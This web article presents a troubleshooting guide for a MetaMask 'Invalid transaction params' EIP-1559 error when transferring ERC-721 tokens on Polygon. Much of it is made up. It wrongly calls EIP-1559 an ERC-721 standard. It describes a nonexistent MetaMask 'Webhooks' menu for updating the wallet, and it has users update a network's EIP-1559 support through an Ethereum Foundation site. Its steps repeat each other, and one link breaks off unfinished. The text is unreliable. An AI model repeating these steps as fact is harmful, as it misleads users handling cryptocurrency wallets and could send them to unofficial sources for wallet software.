Metamask Issue: Incorrect Transaction Parameters for EIP-1559 Transaction

When working with the Ethereum blockchain, especially on the Polygon network using MetaMask, it is not uncommon to encounter issues related to transaction parameters. In this article, we will look at a specific issue that occurs when attempting to perform an ERC-721 transfer on the Polygon network using MetaMask version 10.9.2.

Issue: Incorrect Transaction Parameters for EIP-1559 Transaction

As mentioned in the title, the issue lies in the params field of the transaction object. Specifically, it is related to the EIP-1559 (ERC-721) standard, which is a newer specification that provides additional functionality to the ERC-721 token standard.

When attempting to perform an EIP-1559 transaction on the Polygon network using MetaMask, the params field specifies the specific EIP-1559 version. However, since the current network (Polygon) does not support this particular version (EIP-1559(Polygon)), the error “Invalid Transaction Params” appears.

How ​​to Fix the Issue

To fix this issue, you need to make sure that your MetaMask wallet is compatible with the specific EIP-1559 version on the Polygon network. Here are some steps to follow:

Step 1: Check for Updates

First, make sure that you are running the latest version of MetaMask. You can check for updates by visiting the MetaMask website and checking for available updates.

Step 2: Update MetaMask Version (If Necessary)

If the MetaMask version update is not possible or has already been applied, you may need to manually update it using the Webhook feature:

• Open MetaMask in your browser.

• Click the three vertical dots next to your profile picture in the top right corner of the screen.

• Select “Webhooks” from the drop-down menu.

• Find and click the MetaMask webhook update notification (it should be listed as an update).

Step 3: Update MetaMask Version

Once you have updated your MetaMask version, reload the MetaMask browser extension to trigger the update.

Step 4: Update Polygon Network EIP-1559 Support (If Necessary)

To resolve any compatibility issues with specific networks or wallets, it is necessary to update EIP-1559 support for your network. You can do this by visiting the official Ethereum EIP-1559 implementation on the Ethereum Foundation website:

• Go to [

• Click the “Implementation” tab.

• Select your network (e.g. Polygon) and look for updated or deprecated EIP-1559 implementations.

Step 5: Verify EIP-1559 support

Once you have updated MetaMask to a compatible version, check if the specific EIP-1559 implementation is supported by your wallet on the Polygon network. You can do this by checking your wallet settings under the “Network” or “Ethereum Network” section.

Conclusion

By following these steps and troubleshooting tips, you should be able to resolve the error “Invalid transaction parameters: The parameters specify an EIP-1559 transaction, but the current network does not support EIP-1559 (Polygon)” when working with ERC-721 transfers on the Polygon network using MetaMask. Be sure to regularly update your MetaMask version and EIP-1559 implementation to ensure compatibility across networks and wallets.
